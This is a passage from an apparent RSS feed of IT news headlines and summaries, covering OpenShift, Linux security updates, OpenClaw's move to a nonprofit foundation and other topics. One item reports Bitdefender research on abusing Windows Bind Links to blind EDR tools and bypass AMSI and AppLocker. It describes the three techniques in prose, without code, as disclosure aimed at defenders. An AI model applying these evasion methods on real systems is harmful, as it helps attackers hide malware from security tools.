<p class="wp-block-paragraph">OpenShift 4.22 also brings new Red Hat OpenShift Virtualization capabilities. A new Ethernet virtual private network integration with user-defined networks allows teams to connect containerized and virtualized workloads to external infrastructure. Volume groups now can be used to execute multi-volume snapshots for VMs, providing a crash-consistent backup mechanism that simplifies disaster recovery. And the introduction of two-node OpenShift with fencing provides a highly resilient and resource-efficient option for constrained edge environments, Red Hat said.</p>



<p class="wp-block-paragraph">In addition, OpenShift 4.22 offers new platform capabilities designed to optimize resource usage and lower operational overhead. The Red Hat build of Karpenter, an <a href="https://karpenter.sh/" data-type="link" data-id="https://karpenter.sh/">open source auto-scaler</a> that right-sizes compute instances for Kubernetes clusters, is now generally available for Red Hat OpenShift Service on AWS with hosted control planes. And customers running Red Hat OpenShift Service on AWS with hosted control planes now can integrate AWS EC2 Spot Instances for fault-tolerant workloads to save on costs. </p>



<p class="wp-block-paragraph">Finally, Red Hat OpenShift 4.22 introduces the JobSet operator to streamline large-scale distributed training runs and LLM fine-tuning. This framework coordinates multiple related jobs as a single unit, maximizing the use of expensive GPU compute. </p>
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<title><![CDATA[A Recycling Expert Shares 7 Takeout Containers That Don't Belong in the Blue Bin]]></title>
<description><![CDATA[These seven everyday items seem like safe bets for the blue bin. They're not, and tossing them in only bogs down the system.]]></description>
<link>https://tsecurity.de/de/3671007/it-nachrichten/a-recycling-expert-shares-7-takeout-containers-that-dont-belong-in-the-blue-bin/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671007/it-nachrichten/a-recycling-expert-shares-7-takeout-containers-that-dont-belong-in-the-blue-bin/</guid>
<pubDate>Wed, 15 Jul 2026 16:48:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[These seven everyday items seem like safe bets for the blue bin. They're not, and tossing them in only bogs down the system.]]></content:encoded>
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<title><![CDATA[Security updates for Wednesday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (cifs-utils, corosync, cups, freerdp, git-lfs, go-fdo-client and go-fdo-server, go-toolset:rhel8, kernel, kernel-rt, libinput, libxml2, nginx:1.24, openssl, pacemaker, perl-DBI:1.641, php8.4, python-pillow, python3, and python3.12), Debian (grub2, li...]]></description>
<link>https://tsecurity.de/de/3670811/linux-tipps/security-updates-for-wednesday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670811/linux-tipps/security-updates-for-wednesday/</guid>
<pubDate>Wed, 15 Jul 2026 15:24:57 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (cifs-utils, corosync, cups, freerdp, git-lfs, go-fdo-client and go-fdo-server, go-toolset:rhel8, kernel, kernel-rt, libinput, libxml2, nginx:1.24, openssl, pacemaker, perl-DBI:1.641, php8.4, python-pillow, python3, and python3.12), <b>Debian</b> (grub2, libxfont, opam, and wolfssl), <b>Fedora</b> (freerdp, kernel, and prometheus), <b>Mageia</b> (imagemagick), <b>Oracle</b> (buildah, freerdp, gimp, kernel, nginx, openexr, openssl, perl-DBI, podman, vim, xorg-x11-server, and xorg-x11-server-Xwayland), <b>Red Hat</b> (python3.12), <b>SUSE</b> (afterburn, buildah, busybox, enc, freetype2-devel, go1.25, go1.25-openssl, go1.26-openssl, gosec, grafana, helm, krb5, kubernetes-old, libopenbabel8, libxml2, libxml2-16, nasm, openssl-3, patch, python-Authlib, python-mistune, python-soupsieve, python-sqlparse, python3-dulwich, python313-Pillow, rootlesskit, sbootutil-1, tomcat, and tomcat11), and <b>Ubuntu</b> (alsa-lib, dnsmasq, gnutls28, libheif, linux-aws, linux-fips, linux-lts-xenial, linux-gcp-5.15, linux-intel-iotg-5.15, linux-hwe-6.17, linux-raspi, mariadb, openvpn, python-httplib2, vim, and wget).]]></content:encoded>
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<title><![CDATA[New Windows Bind Link techniques let attackers evade EDR, security controls]]></title>
<description><![CDATA[Attackers who already have administrator privileges on a Windows machine have newer ways to slip past endpoint security without exploiting a vulnerable driver or modifying trusted binaries.



Bitdefender researchers have warned against three techniques that abuse Windows Bind Links, a legitimate...]]></description>
<link>https://tsecurity.de/de/3670748/it-security-nachrichten/new-windows-bind-link-techniques-let-attackers-evade-edr-security-controls/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670748/it-security-nachrichten/new-windows-bind-link-techniques-let-attackers-evade-edr-security-controls/</guid>
<pubDate>Wed, 15 Jul 2026 15:09:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Attackers who already have administrator privileges on a Windows machine have newer ways to slip past endpoint security without exploiting a vulnerable driver or modifying trusted binaries.</p>



<p class="wp-block-paragraph">Bitdefender researchers have warned against three techniques that abuse Windows Bind Links, a legitimate filesystem virtualization capability, to occupy security tools with clean files while malicious ones execute undetected.</p>



<p class="wp-block-paragraph">The techniques can be used “to blind EDR sensors and bypass built-in Windows defenses such as AMSI and AppLocker,” the researchers said in a blog post shared with CSO ahead of its publication on Wednesday. Dubbed File Binding, Process-Binding, and Silo-Binding, the techniques exploit the way Windows’ Bind Filter driver “bindflt.sys” redirects file paths in memory.</p>



<p class="wp-block-paragraph">While Microsoft reportedly assessed the issues as low severity because exploiting the techniques requires admin privileges, Bitdefender argued its importance by comparing the threat to Bring Your Own Vulnerable Driver (<a href="https://www.csoonline.com/article/3600750/infostealers-are-using-byovd-to-steal-critical-system-data.html">BYOVD</a>) attacks.</p>



<p class="wp-block-paragraph">Microsoft did not immediately respond to CSO’s request for comment.</p>



<h2 class="wp-block-heading"><a></a>Three attack paths from one weakness</h2>



<p class="wp-block-paragraph">Bitdefender’s research focused on Bind Links, a Windows feature designed for legitimate virtualization scenarios such as Windows Sandbox, Windows containers, and Store applications. Bind Links operate entirely within “bindflt.sys,” allowing one file path to transparently resolve to another without creating a visible filesystem object or modifying the original file.</p>



<p class="wp-block-paragraph">Bitdefender demonstrated how attackers can progressively weaponize this capability.</p>



<p class="wp-block-paragraph">The first technique, File-Binding, redirects trusted DLL or file paths to attacker-controlled replacements. The researchers showed PowerShell loading what appeared to be a legitimate amsi.dll, but the Bind Link instead served a malicious DLL that exported identical functions while silently disabling malware scanning.</p>



<p class="wp-block-paragraph">Process-Binding extends the concept to executable files. Here, the researchers said, Windows reports a trusted executable like “winever.exe” is running, while the operating system actually executes another binary, such as cmd.exe. Because many security products rely on executable paths for allowlisting, signatures, and process identity, the mismatch can trick both security policies and analysts.</p>



<p class="wp-block-paragraph">The most sophisticated of the three, Silo-Binding, leverages Windows silos, the isolation technology in Windows containers, to present different filesystem views inside and outside an isolated environment. The researchers demonstrated a potential malware executing inside the silo as a trusted application, while security tools operating outside the silo read them as legitimate files.</p>



<p class="wp-block-paragraph">Bitdefender demonstrated bypasses against <a href="https://www.csoonline.com/article/1311082/north-koreas-lazarus-deploys-rootkit-via-applocker-zero-day-flaw.html">AppLocker</a>, Windows Firewall, Sysmon, and even executed Invoke-Mimikatz under a trusted process identity to evade detection.</p>



<h2 class="wp-block-heading"><a></a>A potential post-compromise attack vector</h2>



<p class="wp-block-paragraph">Addressing Microsoft’s low-severity assessment, the researchers noted these techniques to be effective post-compromise evasion attacks, rather than a remote code execution vulnerability.</p>



<p class="wp-block-paragraph">“Every Windows 10 RS4+ and Windows 11 system is exposed once an attacker has administrator access on it,” they said. “Every AV and EDR that trusts the image-file path returned by standard process-notification routines is affected.”</p>



<p class="wp-block-paragraph">Bitdefender also disclosed a related privilege escalation scenario involving Docker Desktop, where members of the “docker-users” group could leverage Bind Links to reach SYSTEM privileges.</p>



<p class="wp-block-paragraph">Following the disclosure, Docker reportedly updated its documentation to clarify the security implications of the group’s permissions.</p>



<p class="wp-block-paragraph">While Windows 24H2 introduces a veto mechanism that can block bind-link creations, the researchers described it as only a partial mitigation because it is limited to newer systems, applies only in certain scenarios, and can be bypassed.</p>



<p class="wp-block-paragraph">Instead, they recommended resolving the real backing file rather than trusting process paths, revalidating file identity whenever a file is reopened for hashing or scanning, and enumerating active bind-link mappings to detect silo-scoped abuse.</p>
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<title><![CDATA[2026.6.1]]></title>
<description><![CDATA[ImportantThis release applies to self-hosted deployments. Cloud web remains on the previous stable release, and the Cloud Desktop App release is deferred, while the personal-workspace data-loss issue (#6483) is being addressed.

This patch release resolves a Desktop App login loop when signing in...]]></description>
<link>https://tsecurity.de/de/3670447/downloads/202661/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670447/downloads/202661/</guid>
<pubDate>Wed, 15 Jul 2026 13:17:06 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="markdown-alert markdown-alert-important"><p class="markdown-alert-title"><svg data-component="Octicon" class="octicon octicon-report mr-2" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v9.5A1.75 1.75 0 0 1 14.25 13H8.06l-2.573 2.573A1.458 1.458 0 0 1 3 14.543V13H1.75A1.75 1.75 0 0 1 0 11.25Zm1.75-.25a.25.25 0 0 0-.25.25v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25Zm7 2.25v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 9a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg>Important</p><p>This release applies to self-hosted deployments. Cloud web remains on the previous stable release, and the Cloud Desktop App release is deferred, while the personal-workspace data-loss issue (<a href="https://github.com/hoppscotch/hoppscotch/issues/6483" data-hovercard-type="issue" data-hovercard-url="/hoppscotch/hoppscotch/issues/6483/hovercard">#6483</a>) is being addressed.</p>
</div>
<p>This patch release resolves a Desktop App login loop when signing in to self-hosted instances, adds support for running containers under arbitrary non-root user IDs, and enables response-cookie capture for Agent-routed requests, alongside a lighter JSON response renderer.</p>
<h2>What's Changed</h2>
<ul>
<li>feat: allow containers to run with arbitrary non-root UIDs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mirarifhasan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mirarifhasan">@mirarifhasan</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4784576502" data-permission-text="Title is private" data-url="https://github.com/hoppscotch/hoppscotch/issues/6481" data-hovercard-type="pull_request" data-hovercard-url="/hoppscotch/hoppscotch/pull/6481/hovercard" href="https://github.com/hoppscotch/hoppscotch/pull/6481">#6481</a></li>
<li>fix: desktop login loop caused by empty auth cookies by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CuriousCorrelation/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CuriousCorrelation">@CuriousCorrelation</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4870552739" data-permission-text="Title is private" data-url="https://github.com/hoppscotch/hoppscotch/issues/6502" data-hovercard-type="pull_request" data-hovercard-url="/hoppscotch/hoppscotch/pull/6502/hovercard" href="https://github.com/hoppscotch/hoppscotch/pull/6502">#6502</a></li>
<li>fix: bump <code>relay</code> for agent response-cookie capture and pin fork revisions by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CuriousCorrelation/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CuriousCorrelation">@CuriousCorrelation</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4836632360" data-permission-text="Title is private" data-url="https://github.com/hoppscotch/hoppscotch/issues/6496" data-hovercard-type="pull_request" data-hovercard-url="/hoppscotch/hoppscotch/pull/6496/hovercard" href="https://github.com/hoppscotch/hoppscotch/pull/6496">#6496</a></li>
<li>fix(common): lazy-load <code>jq-wasm</code> in the JSON lens renderer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hassams/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hassams">@hassams</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4730035488" data-permission-text="Title is private" data-url="https://github.com/hoppscotch/hoppscotch/issues/6463" data-hovercard-type="pull_request" data-hovercard-url="/hoppscotch/hoppscotch/pull/6463/hovercard" href="https://github.com/hoppscotch/hoppscotch/pull/6463">#6463</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hassams/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hassams">@hassams</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4730035488" data-permission-text="Title is private" data-url="https://github.com/hoppscotch/hoppscotch/issues/6463" data-hovercard-type="pull_request" data-hovercard-url="/hoppscotch/hoppscotch/pull/6463/hovercard" href="https://github.com/hoppscotch/hoppscotch/pull/6463">#6463</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/hoppscotch/hoppscotch/compare/2026.6.0...2026.6.1"><tt>2026.6.0...2026.6.1</tt></a></p>]]></content:encoded>
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<title><![CDATA[Digitale Souveränität in der Praxis: Die zentrale Bedeutung von Secure Access]]></title>
<description><![CDATA[IT-Security. Digitale Souveränität in der Praxis: Die zentrale Bedeutung ... Die Lösung „Red Hat Advanced Cluster Security für Kubernetes“ sorgt für ...]]></description>
<link>https://tsecurity.de/de/3668587/it-security-nachrichten/digitale-souveraenitaet-in-der-praxis-die-zentrale-bedeutung-von-secure-access/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668587/it-security-nachrichten/digitale-souveraenitaet-in-der-praxis-die-zentrale-bedeutung-von-secure-access/</guid>
<pubDate>Tue, 14 Jul 2026 18:14:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<b>IT</b>-<b>Security</b>. Digitale Souveränität in der Praxis: Die zentrale Bedeutung ... Die Lösung „Red Hat Advanced Cluster Security für Kubernetes“ sorgt für ...]]></content:encoded>
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<title><![CDATA[Security updates for Tuesday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (389-ds:1.4, buildah, freeipmi, freerdp, gegl, gimp, golang, kernel, libreoffice, maven:3.9, openexr, perl-DBI, plexus-utils, podman, tomcat, tomcat9, xorg-x11-server, and xorg-x11-server-Xwayland), Debian (imagemagick, p7zip, and redis), Fedora (bre...]]></description>
<link>https://tsecurity.de/de/3668095/linux-tipps/security-updates-for-tuesday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668095/linux-tipps/security-updates-for-tuesday/</guid>
<pubDate>Tue, 14 Jul 2026 15:26:32 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (389-ds:1.4, buildah, freeipmi, freerdp, gegl, gimp, golang, kernel, libreoffice, maven:3.9, openexr, perl-DBI, plexus-utils, podman, tomcat, tomcat9, xorg-x11-server, and xorg-x11-server-Xwayland), <b>Debian</b> (imagemagick, p7zip, and redis), <b>Fedora</b> (breezy, calibre, and golang-github-openprinting-ipp-usb), <b>Mageia</b> (ffmpeg, gzip, haproxy, libheif, libtiff, libxml2, packages, perl-List-SomeUtils-XS, and perl-Socket), <b>SUSE</b> (alsa, chromedriver, curl, dhcpcd, docker-compose, glibc, haproxy, ImageMagick, jq, kernel, kubernetes, libpng15, libredwg-devel, libslirp, nghttp2, php8, python-Pillow, python313-Django, python313-weasyprint, qemu, rust-keylime, sccache, and systemd), and <b>Ubuntu</b> (cifs-utils, libexif, libreoffice, libssh2, openssh, and pipewire).]]></content:encoded>
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<title><![CDATA[Load Balancing in vSphere 9.0 and VMware Cloud Foundation 9.0]]></title>
<description><![CDATA[If you’re managing Kubernetes alongside traditional virtual machines, vSphere Supervisor in vSphere 9.0 and VMware Cloud Foundation (VCF) 9.0 serves as your unified control plane. But when it comes to setting up the infrastructure, one question always comes up from teams designing these environme...]]></description>
<link>https://tsecurity.de/de/3666562/downloads/load-balancing-in-vsphere-90-and-vmware-cloud-foundation-90/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666562/downloads/load-balancing-in-vsphere-90-and-vmware-cloud-foundation-90/</guid>
<pubDate>Tue, 14 Jul 2026 01:01:36 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="300" height="154" src="https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/Networking-DataCenter.jpeg?w=300" class="attachment-medium size-medium wp-post-image" alt="" decoding="async" srcset="https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/Networking-DataCenter.jpeg 441w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/Networking-DataCenter.jpeg?resize=300,154 300w" sizes="(max-width: 300px) 100vw, 300px"></div>
<p>If you’re managing Kubernetes alongside traditional virtual machines, vSphere Supervisor in vSphere 9.0 and VMware Cloud Foundation (VCF) 9.0 serves as your unified control plane. But when it comes to setting up the infrastructure, one question always comes up from teams designing these environments:  “Which load balancers are supported, and how do I choose the … <a href="https://blogs.vmware.com/cloud-foundation/2026/07/13/choosing-the-right-load-balancer-for-vsphere-supervisor-in-vsphere-9-0-and-vmware-cloud-foundation-9-0/">Continued</a></p>
<p>The post <a href="https://blogs.vmware.com/cloud-foundation/2026/07/13/choosing-the-right-load-balancer-for-vsphere-supervisor-in-vsphere-9-0-and-vmware-cloud-foundation-9-0/">Load Balancing in vSphere 9.0 and VMware Cloud Foundation 9.0</a> appeared first on <a href="https://blogs.vmware.com/cloud-foundation">VMware Cloud Foundation (VCF) Blog</a>.</p>]]></content:encoded>
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<title><![CDATA[OpenClaw becomes a nonprofit foundation as it seeks to be ‘the Switzerland of AI’]]></title>
<description><![CDATA[OpenClaw’s announcement that it has become a nonprofit foundation is generating IT excitement because of the potential for governance and development consistency that the popular platform has thus far lacked. Still, some worry about the risks created by the move. 



“Our ambition is for OpenClaw...]]></description>
<link>https://tsecurity.de/de/3666484/it-nachrichten/openclaw-becomes-a-nonprofit-foundation-as-it-seeks-to-be-the-switzerland-of-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666484/it-nachrichten/openclaw-becomes-a-nonprofit-foundation-as-it-seeks-to-be-the-switzerland-of-ai/</guid>
<pubDate>Mon, 13 Jul 2026 23:17:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">OpenClaw’s announcement that it has become a nonprofit foundation is generating IT excitement because of the potential for governance and development consistency that <a href="https://www.computerworld.com/article/4128257/openclaw-the-ai-agent-thats-got-humans-taking-orders-from-bots.html" target="_blank">the popular platform </a>has thus far lacked. Still, some worry about the risks created by the move. </p>



<p class="wp-block-paragraph">“Our ambition is for OpenClaw to be the Switzerland of AI. Neutral ground where every model and every lab can plug into the technology and collaborate on standards in the era of agents,” <a href="https://openclaw.ai/blog/introducing-openclaw-foundation/" target="_blank" rel="noreferrer noopener">OpenClaw said in a post</a>. “That work is already underway in Foundation-convened councils on agent identity, agent profiles, evals, and enterprise deployment.”</p>



<p class="wp-block-paragraph">The statement, co-authored by OpenClaw creator <a href="https://www.linkedin.com/in/steipete/" target="_blank" rel="noreferrer noopener">Peter Steinberger</a>, pointed out, “the great open source projects of our time — Linux, Apache, Mozilla — endure because a neutral steward stands behind them. That is the role we are taking on to keep OpenClaw MIT licensed, open, and independent so that everyone building on it can trust it will be here for the long term.”</p>



<p class="wp-block-paragraph">But it reassured users that the original OpenClaw leadership is still in charge.</p>



<p class="wp-block-paragraph">“Peter built this thing and Peter keeps making the calls, especially the technical ones. Since joining OpenAI earlier this year, he has continued to steward OpenClaw as an open and independent project, and OpenAI has made a commitment to keep it that way,” the post said. “The foundation is here to serve: good governance, stable funding, and paying the people who keep the claws alive.”</p>



<p class="wp-block-paragraph">However, some analysts and consultants were skeptical about how much true independence Steinberger would have, given his salaried role with OpenAI. </p>



<h2 class="wp-block-heading">Neutrality claim in question</h2>



<p class="wp-block-paragraph">“The Switzerland of AI neutrality claim collapses under its own announcement,” said <a href="https://www.linkedin.com/in/noah-m-kenney-27499a166/" target="_blank" rel="noreferrer noopener">Noah Kenney</a>, principal consultant at Digital 520. “OpenAI runs a team [at OpenAI] called Claw Labs that Peter leads and OpenAI is a major donor to OpenClaw. The ‘neutral steward’s’ chief technical decision maker is employed by one of the competing labs it is supposed to be neutral with.” To OpenAI, he said, OpenClaw is closer to a tax-exempt nonprofit subsidiary than it is to a neutral ‘Switzerland of AI.’</p>



<p class="wp-block-paragraph">He pointed out that, in addition, Microsoft is shipping <a href="https://www.computerworld.com/article/4173442/enterpriseclaw-wants-to-bring-governance-to-the-openclaw-era-2.html" target="_blank">the enterprise version</a> of OpenClaw, and Nvidia is shipping the hardware bundle. “This is being called the Switzerland of AI, but Switzerland does not have its central bank run by France,” he observed.</p>



<p class="wp-block-paragraph">Kenney said that what the new OpenClaw has actually built is “a shared dependency that several competitors fund, staff, and steer, wrapped in a nonprofit structure. Enterprise IT should understand that structure, because treating OpenClaw as neutral is a mistake,” adding that CIOs need to look at this development devoid of the emotional component. </p>



<p class="wp-block-paragraph">“There is a strategic irony here that CIOs should sit with,” Kenney said. “If OpenClaw succeeds at becoming the universal agent substrate, then every model plugs into the same identity layer, the same profiles, and the same deployment plumbing. The thing every vendor is racing to own becomes a commodity that nobody owns.” He pointed out that, in the short term, that is genuinely good news for buyers because it means less lock-in and more portability.</p>



<p class="wp-block-paragraph">“But,” he said, “when the connective tissue is free and natural, the only labs that benefit are the ones with the best models and the deepest distribution. Commoditize the layer below you and you compete on the layer where you are already strongest. The foundation is not a charity. It is the biggest players agreeing to stop fighting over the plumbing so they can fight over the water, and the enterprise is the one paying the water bill either way.”</p>



<h2 class="wp-block-heading">Good news, bad news</h2>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/jason-andersen/" target="_blank" rel="noreferrer noopener">Jason Andersen</a>, principal analyst at Moor Insights &amp; Strategy, liked the potential consistency that could emerge from the structural change, given the complexity of agent development today. </p>



<p class="wp-block-paragraph">“We are seeing a lot of OpenClaw variants hit the market, such as those from Nvidia as well as competing products from cloud and SaaS vendors. A common base helps solidify the common parts,” Andersen noted. “That said, a common challenge is the sustainability of these open source foundations over time. In addition to releasing code, these foundations need funding to evolve and grow. And that funding needs to come from continued momentum to incentivize existing members to increase investment and recruit new members to join.”</p>



<p class="wp-block-paragraph">Andersen stressed that IT buyers need to keep an eye on the roadmap for any OpenClaw variant they choose to deploy, “as that will directly impact the foundation, and the momentum of the foundation and common base. If the common base loses momentum, it can lead to forks, or just a loss of innovation. When that happens, members tend to back away, which puts customers in limbo.”</p>



<p class="wp-block-paragraph">But not everyone sees the promised structure as entirely good for IT.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/ishraqkhann/" target="_blank" rel="noreferrer noopener">Ishraq Khan</a>, CEO at coding productivity tool vendor Kodezi, said, “most CIOs do not want to bet their future entirely on a single model vendor. They want Claude for some workloads, GPT for others, open models for sensitive environments, and potentially internally fine-tuned systems for specific use cases. The problem is that every vendor currently brings its own identity system, tool interfaces, permissions model, and operational assumptions. That fragmentation does not scale.”</p>



<p class="wp-block-paragraph">He said, “the risk if standards fail is straightforward: every vendor builds its own closed ecosystem, enterprises become locked into individual stacks, and security becomes dramatically harder. The opportunity if OpenClaw succeeds is equally significant: enterprises get portable agents, common identity standards, interoperable tooling, and a healthier competitive market around models rather than ecosystems.”</p>



<h2 class="wp-block-heading">Will it remain a nonprofit?</h2>



<p class="wp-block-paragraph">However, said <a href="https://acceligence.com/talent/profiles/justin-greis/" target="_blank" rel="noreferrer noopener">Justin Greis</a>, CEO of consulting firm Acceligence, one of the key details that IT executives will want to keep in mind is that OpenAI also began as a nonprofit, but it was quickly <a href="https://www.computerworld.com/article/4056490/openai-microsoft-discuss-shape-of-future-relationship.html" target="_blank">seen as not adhering to nonprofit objectives</a>. </p>



<p class="wp-block-paragraph">“OpenAI’s transition from a nonprofit research organization into a more complex structure highlighted the challenge of maintaining mission alignment while scaling technology, capital, partnerships, and commercial operations,” Greis said. “OpenClaw has the opportunity to address some of those governance questions earlier by establishing clear principles around neutrality, transparency, and decision-making before the ecosystem becomes even larger and more valuable.”</p>



<p class="wp-block-paragraph">He noted, “we have seen this pattern before with technologies like Linux and Kubernetes. The strongest open ecosystems succeeded because they created trusted foundations that enterprises could build upon. The technology was important, but the governance model that underpinned it was equally critical.”</p>



<h2 class="wp-block-heading">Risks are ‘squarely in IT’s lap’</h2>



<p class="wp-block-paragraph">Consultant <a href="https://formergov.com/directory/brianlevine" target="_blank" rel="noreferrer noopener">Brian Levine</a>, executive director of FormerGov, echoed Greis’ concerns. </p>



<p class="wp-block-paragraph">“CIOs shouldn’t assume that this nonprofit will always be a nonprofit, or confuse being a nonprofit with actually being neutral or unbiased,” he said. “The risks are squarely in IT’s lap: autonomous agents ‘with their own identity’ acting on a user’s behalf blow straight through traditional IAM assumptions. Issues, such as agent identity, auditability, secret handling. Identity boundaries have not yet been reliably solved. Until they are, enterprises should treat OpenClaw agents like privileged service accounts, not like a browser plugin.”</p>



<p class="wp-block-paragraph">Independent cybersecurity and risk advisor <a href="https://www.linkedin.com/in/steveneric/" target="_blank" rel="noreferrer noopener">Steven Eric Fisher</a> pointed to another IT exposure that might come from this OpenClaw transition: Cost.</p>



<p class="wp-block-paragraph">“OpenClaw currently has a very high token burn rate in usage, which presents a significant cost consideration for large-scale enterprise adoption,” he said. “The skills marketplace introduces <a href="https://www.csoonline.com/article/4129867/what-cisos-need-to-know-about-clawdbot-i-mean-moltbot-i-mean-openclaw.html" target="_blank">a new supply chain threat </a>that enterprises will need to manage. Threat management, and specifically handling <a href="https://www.csoonline.com/article/4135449/compromised-npm-package-silently-installs-openclaw-on-developer-machines.html" target="_blank">external marketplace elements</a>, can be highly challenging for open-source operations. Ultimately, at scale, enterprise adoption could become a difficult balancing act between managing high operational costs and securing an expanded security surface.”</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Storage Virtualization Solutions: A Kubernetes-Native Approach]]></title>
<description><![CDATA[Your storage infrastructure carries a lot of weight. It underpins every application, every workload and every service your organization depends on. Yet for many enterprises, storage has become one of the most complex and costly parts of IT to manage. Physical hardware silos, inconsistent provisio...]]></description>
<link>https://tsecurity.de/de/3666304/unix-server/storage-virtualization-solutions-a-kubernetes-native-approach/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666304/unix-server/storage-virtualization-solutions-a-kubernetes-native-approach/</guid>
<pubDate>Mon, 13 Jul 2026 22:01:23 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Your storage infrastructure carries a lot of weight. It underpins every application, every workload and every service your organization depends on. Yet for many enterprises, storage has become one of the most complex and costly parts of IT to manage. Physical hardware silos, inconsistent provisioning and limited scalability create real headaches for teams trying to […]</p>
<p>The post <a href="https://www.suse.com/c/storage-virtualization-solutions-a-kubernetes-native-approach/">Storage Virtualization Solutions: A Kubernetes-Native Approach</a> appeared first on <a href="https://www.suse.com/c">SUSE Communities</a>.</p>]]></content:encoded>
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<title><![CDATA[The desktop infrastructure problem that kubernetes finally solves]]></title>
<description><![CDATA[Presented by Kasm TechnologiesEnterprise infrastructure teams have spent the better part of a decade pushing workloads into Kubernetes. Applications, APIs, batch jobs, data pipelines — if it runs in a container, it belongs in the cluster. The operational benefits are well-established: declarative...]]></description>
<link>https://tsecurity.de/de/3665757/it-nachrichten/the-desktop-infrastructure-problem-that-kubernetes-finally-solves/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665757/it-nachrichten/the-desktop-infrastructure-problem-that-kubernetes-finally-solves/</guid>
<pubDate>Mon, 13 Jul 2026 17:32:00 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by </i><a href="https://kasm.com/?utm_campaign=46469231-1.19%20Release%20Campaign&amp;utm_source=VentureBeat&amp;utm_medium=Paid%20Article&amp;utm_content=venture_beat_kasm_home_page"><i>Kasm Technologies</i></a></p><hr><p>Enterprise infrastructure teams have spent the better part of a decade pushing workloads into Kubernetes. Applications, APIs, batch jobs, data pipelines — if it runs in a container, it belongs in the cluster. The operational benefits are well-established: declarative configuration, horizontal scaling, self-healing, native integration with CI/CD pipelines and observability tooling. Kubernetes has become the default operating model for production workloads.</p><p>Except for desktops.</p><p>Secure desktop and application delivery — the kind that enterprises depend on for remote work, privileged access, and regulated-industry workflows — has remained stubbornly outside the Kubernetes model. Legacy virtual desktop infrastructure was built in a different era, for a different set of assumptions: pre-allocated VM pools, bespoke management planes, proprietary appliances, and operational tooling that has nothing to do with how modern platform teams work. The result is a split infrastructure reality: a modern, cloud-native application layer on one side, and a manually managed, operationally isolated desktop layer on the other.</p><p>That split is expensive. It means different tooling, different scaling behaviors, different observability approaches, and different operational runbooks. Platform engineers who are proficient in Kubernetes still have to context-switch into an entirely different mental model the moment a desktop infrastructure problem arises.</p><p>The more fundamental issue is that this split is unnecessary. Secure, containerized workspace delivery is a workload that Kubernetes is architecturally well-suited to run. Sessions are containers. Scaling is demand-driven. Configuration 